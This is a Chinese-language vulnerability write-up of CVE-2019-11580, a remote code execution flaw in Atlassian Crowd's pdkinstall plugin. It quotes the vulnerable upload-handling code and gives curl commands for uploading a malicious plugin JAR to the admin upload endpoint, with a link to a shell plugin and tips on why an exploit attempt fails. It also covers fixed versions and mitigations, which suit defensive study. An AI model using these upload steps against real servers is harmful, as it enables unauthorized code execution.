CVE-2019-11580: Atlassian Crowd RCE漏洞分析
字数 1622 2025-08-27 12:33:42
Atlassian Crowd RCE漏洞分析 (CVE-2019-11580) 教学文档
1. 漏洞概述
CVE-2019-11580是Atlassian Crowd和Atlassian Crowd Data Center中的一个远程代码执行(RCE)漏洞,源于输入验证错误。该漏洞允许攻击者通过上传恶意插件在目标系统上执行任意代码。
受影响版本
-
Atlassian Crowd:
- 2.1.x所有版本
- 3.0.x版本(低于3.0.5)
- 3.1.x版本(低于3.1.6)
- 3.2.x版本(低于3.2.8)
- 3.3.x版本(低于3.3.5)
- 3.4.x版本(低于3.4.4)
-
Atlassian Crowd Data Center:
- 同上所有受影响版本
2. 漏洞分析
2.1 漏洞位置
漏洞存在于pdkinstall-plugin插件中,具体在com.atlassian.pdkinstall.PdkInstallFilter类的doFilter方法中。
2.2 关键代码分析
插件描述文件
atlassian-plugin.xml定义了插件的关键信息:
<servlet-filter name="pdk install" key="pdk-install" class="com.atlassian.pdkinstall.PdkInstallFilter" location="before-decoration">
<url-pattern>/admin/uploadplugin.action</url-pattern>
</servlet-filter>
doFilter方法
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse res = (HttpServletResponse) servletResponse;
if (!req.getMethod().equalsIgnoreCase("post")) {
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post");
return;
}
File tmp = null;
boolean isMultipart = ServletFileUpload.isMultipartContent(req);
if (isMultipart) {
tmp = extractJar(req, res, tmp);
} else {
tmp = buildJarFromFiles(req);
}
if (tmp != null) {
List<String> errors = new ArrayList<String>();
try {
errors.addAll(pluginInstaller.install(tmp));
} catch (Exception ex) {
log.error(ex);
errors.add(ex.getMessage());
}
tmp.delete();
if (errors.isEmpty()) {
res.setStatus(HttpServletResponse.SC_OK);
servletResponse.setContentType("text/plain");
servletResponse.getWriter().println("Installed plugin " + tmp.getPath());
} else {
res.setStatus(HttpServletResponse.SC_BAD_REQUEST);
servletResponse.setContentType("text/plain");
servletResponse.getWriter().println("Unable to install plugin:");
for (String err : errors) {
servletResponse.getWriter().println("\t - " + err);
}
}
servletResponse.getWriter().close();
return;
}
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");
}
extractJar方法
private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException {
ServletFileUpload upload = new ServletFileUpload(factory);
try {
List<FileItem> items = upload.parseRequest(req);
for (FileItem item : items) {
if (item.getFieldName().startsWith("file_") && !item.isFormField()) {
tmp = File.createTempFile("plugindev-", item.getName());
tmp.renameTo(new File(tmp.getParentFile(), item.getName()));
item.write(tmp);
}
}
} catch (FileUploadException e) {
log.warn(e, e);
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload");
} catch (Exception e) {
log.warn(e, e);
res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload");
}
return tmp;
}
2.3 漏洞原理
- 插件未对上传的文件进行充分验证
- 攻击者可以上传任意JAR文件作为插件
- 插件安装后会自动执行其中的代码
- 通过构造恶意插件可实现远程代码执行
3. 漏洞利用
3.1 利用步骤
-
准备恶意插件:
- 使用Atlassian SDK创建恶意插件
- 示例恶意插件源码: https://github.com/lc/research/tree/master/CVE-2019-11580/atlassian-shell
-
编译恶意插件:
./compile.sh -
上传插件:
curl --form "file_cdl=@rce.jar" http://target:port/crowd/admin/uploadplugin.action或使用特定Content-Type:
curl -k -H "Content-Type: multipart/mixed" \ --form "file_cdl=@rce.jar" http://target:port/crowd/admin/uploadplugin.action -
触发恶意代码执行:
- 访问插件对应的URL触发恶意代码
3.2 利用注意事项
- 确保目标URL路径正确(通常为
/crowd/admin/uploadplugin.action) - 上传字段名必须以"file_"开头
- 必须使用POST方法
- 可能需要尝试不同的Content-Type
4. 修复建议
-
升级到安全版本:
- Atlassian Crowd 3.0.5或更高
- Atlassian Crowd 3.1.6或更高
- Atlassian Crowd 3.2.8或更高
- Atlassian Crowd 3.3.5或更高
- Atlassian Crowd 3.4.4或更高
-
临时缓解措施:
- 限制访问
/admin/uploadplugin.action路径 - 禁用插件上传功能
- 实施网络层防护
- 限制访问
5. 参考资源
- 原始分析文章: https://www.corben.io/atlassian-crowd-rce/
- 恶意插件示例: https://github.com/lc/research/tree/master/CVE-2019-11580/atlassian-shell
- Atlassian官方公告: https://confluence.atlassian.com/crowd/crowd-security-advisory-2019-07-17-970260700.html
6. 附录
6.1 常见问题
Q: 如何卸载已安装的恶意插件?
A: 需要通过Atlassian Crowd的管理界面手动卸载插件,或直接删除插件文件。
Q: 漏洞利用失败的可能原因?
A:
- 目标版本不受影响
- 上传的文件格式不正确
- 缺少必要的请求头或参数
- 目标系统已应用防护措施
6.2 调试技巧
- 使用IntelliJ IDEA调试插件处理流程
- 关注
ServletFileUpload.isMultipartContent()和upload.parseRequest()的返回值 - 检查临时文件是否成功创建
- 监控服务器日志获取错误信息